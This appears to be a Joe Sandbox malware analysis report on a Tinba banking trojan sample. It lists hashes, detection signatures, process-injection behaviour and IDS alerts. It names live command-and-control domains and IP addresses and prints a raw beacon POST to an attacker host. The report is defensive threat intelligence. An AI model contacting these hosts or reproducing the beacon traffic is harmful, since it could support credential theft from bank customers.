Edit tour

Windows Analysis Report
java.exe

Overview

General Information

Sample name:	java.exe
Analysis ID:	1366396
MD5:	91493a9a9e83a7b48d178ae10f97028d
SHA1:	7f774f01e7f3768de1802226fb6ab15242bea878
SHA256:	79dc8da8c5f7b41a0eed67e10e5239355be1c6e089738138dfa3b753fe019355
Tags:	exetinba
Infos:

Detection

Tinba

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Tinba Banker

Allocates memory in foreign processes

Contains functionality to inject threads in other processes

Creates a thread in another existing process (thread injection)

Creates autostart registry keys with suspicious names

Exploit detected, runtime environment starts unknown processes

Hooks files or directories query functions (used to hide files and directories)

Hooks registry keys query functions (used to hide registry keys)

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the prolog of user mode functions (user mode inline hooks)

Tries to detect virtualization through RDTSC time measurements

Writes to foreign memory regions

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

java.exe (PID: 7284 cmdline: C:\Users\user\Desktop\java.exe MD5: 91493A9A9E83A7B48D178AE10F97028D)

conhost.exe (PID: 7292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

winver.exe (PID: 7344 cmdline: winver MD5: B5471B0FB5402FC318C82C994C6BF84D)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

bin.exe (PID: 7532 cmdline: "C:\Users\user\AppData\Roaming\F90F00A9\bin.exe" MD5: EA8543BCC2E4689874647E2507DA6B29)

conhost.exe (PID: 7548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bin.exe (PID: 7776 cmdline: "C:\Users\user\AppData\Roaming\F90F00A9\bin.exe" MD5: EA8543BCC2E4689874647E2507DA6B29)

conhost.exe (PID: 7788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sihost.exe (PID: 3420 cmdline: sihost.exe MD5: A21E7719D73D0322E2E7D61802CB8F80)

svchost.exe (PID: 3456 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3528 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

ctfmon.exe (PID: 3832 cmdline: ctfmon.exe MD5: B625C18E177D5BEB5A6F6432CCF46FB3)

svchost.exe (PID: 4196 cmdline: C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

StartMenuExperienceHost.exe (PID: 4660 cmdline: "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca MD5: 5CDDF06A40E89358807A2B9506F064D9)

RuntimeBroker.exe (PID: 4872 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

SearchApp.exe (PID: 4984 cmdline: "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca MD5: 5E1C9231F1F1DCBA168CA9F3227D9168)

RuntimeBroker.exe (PID: 5092 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

smartscreen.exe (PID: 5584 cmdline: C:\Windows\System32\smartscreen.exe -Embedding MD5: 02FB7069B8D8426DC72C9D8A495AF55A)

TextInputHost.exe (PID: 3788 cmdline: "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca MD5: F050189D49E17D0D340DE52E9E5B711F)

RuntimeBroker.exe (PID: 5116 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

RuntimeBroker.exe (PID: 1532 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

ApplicationFrameHost.exe (PID: 5736 cmdline: C:\Windows\system32\ApplicationFrameHost.exe -Embedding MD5: D58A8A987A8DAFAD9DC32A548CC061E7)

WinStore.App.exe (PID: 2524 cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe" -ServerName:App.AppXc75wvwned5vhz4xyxxecvgdjhdkgsdza.mca MD5: 6C44453CD661FC2DB18E4C09C4940399)

RuntimeBroker.exe (PID: 1760 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

SystemSettings.exe (PID: 6060 cmdline: "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel MD5: 3CD3CD85226FCF576DFE9B70B6DA2630)

UserOOBEBroker.exe (PID: 3924 cmdline: C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding MD5: BCE744909EB87F293A85830D02B3D6EB)

svchost.exe (PID: 1020 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dllhost.exe (PID: 2944 cmdline: C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

conhost.exe (PID: 2832 cmdline: C:\Windows\system32\conhost.exe 0x4 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RuntimeBroker.exe (PID: 1184 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

backgroundTaskHost.exe (PID: 1188 cmdline: "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX4325622ft6437f3xfywcfxgbedfvpn0x.mca MD5: DA7063B17DBB8BBB3015351016868006)

RuntimeBroker.exe (PID: 5100 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

qqQDbrYlXafmy.exe (PID: 2852 cmdline: "C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

qqQDbrYlXafmy.exe (PID: 4500 cmdline: "C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

qqQDbrYlXafmy.exe (PID: 1744 cmdline: "C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

qqQDbrYlXafmy.exe (PID: 4520 cmdline: "C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

qqQDbrYlXafmy.exe (PID: 5568 cmdline: "C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

qqQDbrYlXafmy.exe (PID: 1508 cmdline: "C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

qqQDbrYlXafmy.exe (PID: 2836 cmdline: "C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

qqQDbrYlXafmy.exe (PID: 2640 cmdline: "C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

qqQDbrYlXafmy.exe (PID: 5348 cmdline: "C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

qqQDbrYlXafmy.exe (PID: 5668 cmdline: "C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Tinba	F-Secure notes that TinyBanker or short Tinba is usually distributed through malvertising (advertising content that leads the user to sites hosting malicious threats), exploit kits and spam email campaigns. According to news reports, Tinba has been found targeting bank customers in the United States and Europe.If Tinba successfully infects a device, it can steal banking and personal information through webinjects. To do this, the malware monitors the user's browser activity and if specific banking portals are visited, Tinba injects code to present the victim with fake web forms designed to mimic the legitimate web site. The malware then tricks them into entering their personal information, log-in credentials, etc in the legitimate-looking page.Tinba may also display socially-engineered messages to lure or pressure the user into entering their information on the fake page; for example, a message may be shown which attempts to convince the victim that funds were accidentally deposited to his account and must be refunded immediately.	No Attribution	http://contagiodump.blogspot.com/2012/06/amazon.html http://garage4hackers.com/entry.php?b=3086 http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/ http://stopmalvertising.com/malware-reports/mini-analysis-of-the-tinybanker-tinba.html http://www.theregister.co.uk/2012/06/04/small_banking_trojan/	https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: java.exe PID: 7284	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: winver.exe PID: 7344	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: explorer.exe PID: 2580	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: sihost.exe PID: 3420	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: svchost.exe PID: 3456	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: svchost.exe PID: 3528	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: ctfmon.exe PID: 3832	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: svchost.exe PID: 4196	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: StartMenuExperienceHost.exe PID: 4660	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: RuntimeBroker.exe PID: 4872	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Click to see the 5 entries

Snort Signatures

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249742802020418 12/22/23-21:31:45.756024
SID:	2020418
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Chthonic CnC Activity - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249745802830613 12/22/23-21:31:50.428588
SID:	2830613
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Chthonic CnC Activity - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249748802830613 12/22/23-21:31:53.740170
SID:	2830613
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249745802020418 12/22/23-21:31:50.428588
SID:	2020418
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249745802024659 12/22/23-21:31:50.428588
SID:	2024659
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249739802020418 12/22/23-21:31:41.115704
SID:	2020418
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249739802024659 12/22/23-21:31:41.115704
SID:	2024659
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249748802024659 12/22/23-21:31:53.740170
SID:	2024659
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249748802020418 12/22/23-21:31:53.740170
SID:	2020418
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249737802020418 12/22/23-21:31:38.006819
SID:	2020418
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249746802024659 12/22/23-21:31:52.053475
SID:	2024659
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249740802024659 12/22/23-21:31:42.585880
SID:	2024659
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249743802024659 12/22/23-21:31:47.490220
SID:	2024659
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249741802020418 12/22/23-21:31:44.432614
SID:	2020418
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249743802020418 12/22/23-21:31:47.490220
SID:	2020418
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 45.77.249.79

Timestamp:	192.168.2.445.77.249.7949736802024659 12/22/23-21:31:35.805907
SID:	2024659
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 45.77.249.79

Timestamp:	192.168.2.445.77.249.7949736802020418 12/22/23-21:31:35.805907
SID:	2020418
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Chthonic CnC Activity - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249739802830613 12/22/23-21:31:41.115704
SID:	2830613
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249737802024659 12/22/23-21:31:38.006819
SID:	2024659
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249746802020418 12/22/23-21:31:52.053475
SID:	2020418
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249738802024659 12/22/23-21:31:39.602700
SID:	2024659
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Chthonic CnC Activity - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249743802830613 12/22/23-21:31:47.490220
SID:	2830613
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249738802020418 12/22/23-21:31:39.602700
SID:	2020418
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249744802024659 12/22/23-21:31:48.965379
SID:	2024659
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249741802024659 12/22/23-21:31:44.432614
SID:	2024659
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249735802020418 12/22/23-21:31:19.712756
SID:	2020418
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249740802020418 12/22/23-21:31:42.585880
SID:	2020418
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249735802024659 12/22/23-21:31:19.712756
SID:	2024659
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249744802020418 12/22/23-21:31:48.965379
SID:	2020418
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Chthonic CnC Activity - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249737802830613 12/22/23-21:31:38.006819
SID:	2830613
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Chthonic CnC Activity - Source IP: 192.168.2.4 - Destination IP: 45.77.249.79

Timestamp:	192.168.2.445.77.249.7949736802830613 12/22/23-21:31:35.805907
SID:	2830613
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249742802024659 12/22/23-21:31:45.756024
SID:	2024659
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Chthonic CnC Activity - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249741802830613 12/22/23-21:31:44.432614
SID:	2830613
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: java.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://evbsdqvgmpph.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://fccfxejgtpqb.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://xtbbpqfrsubt.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://wwgfyvvdtmeq.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://mfueeimvyrsp.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://spaines.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://uyhgqunqkxnx.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://cmnsgscccrej.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://fkmmvfeonnyh.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://gfnlmtcolrrb.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://vcklmnnejwxx.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe

Avira: detection malicious, Label: HEUR/AGEN.1322420

Multi AV Scanner detection for submitted file

Source: java.exe

ReversingLabs: Detection: 89%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: java.exe

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\winver.exe

Code function: 2_2_02F02DCF CryptAcquireContextA,CryptImportPublicKeyInfo,CryptCreateHash,CryptHashData,CryptVerifySignatureA,CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,

2_2_02F02DCF

Source: java.exe

Binary or memory string: -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAldMoUs9Ytg4Z6u+LBejj XsQpi94U2CbOGCF5DieMHxzcr5nhleioQixxAah9IEXJgzZ8Ag69xjMADnuKMumV xOFw6SbeOhRGrT/al5Rv/X56bsKPBBn5UAR5xhzUielXM77Z8R0oKVOKfXYDXdMq hx6FPFOOnV4/H7u3zf0sUbHXjbJEamXSjWRd0O

Source: java.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: unknown

HTTPS traffic detected: 173.222.162.32:443 -> 192.168.2.4:49729 version: TLS 1.2

Software Vulnerabilities

Exploit detected, runtime environment starts unknown processes

Source: C:\Users\user\Desktop\java.exe

Process created: C:\Windows\System32\conhost.exe

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49735 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49735 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49736 -> 45.77.249.79:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49736 -> 45.77.249.79:80
Source: Traffic	Snort IDS: 2830613 ETPRO TROJAN W32/Chthonic CnC Activity 192.168.2.4:49736 -> 45.77.249.79:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49737 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49737 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2830613 ETPRO TROJAN W32/Chthonic CnC Activity 192.168.2.4:49737 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49738 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49738 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49739 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49739 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2830613 ETPRO TROJAN W32/Chthonic CnC Activity 192.168.2.4:49739 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49740 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49740 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49741 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49741 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2830613 ETPRO TROJAN W32/Chthonic CnC Activity 192.168.2.4:49741 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49742 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49742 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49743 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49743 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2830613 ETPRO TROJAN W32/Chthonic CnC Activity 192.168.2.4:49743 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49744 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49744 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49745 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49745 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2830613 ETPRO TROJAN W32/Chthonic CnC Activity 192.168.2.4:49745 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49746 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49746 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49748 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49748 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2830613 ETPRO TROJAN W32/Chthonic CnC Activity 192.168.2.4:49748 -> 216.218.185.162:80

Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: spaines.pwContent-Length: 157Data Raw: fd 32 8e 32 cc 3a 8e 32 13 62 d0 aa fb 30 8f 11 cd 02 be 02 cd 02 be 02 Data Ascii: 22:2b0
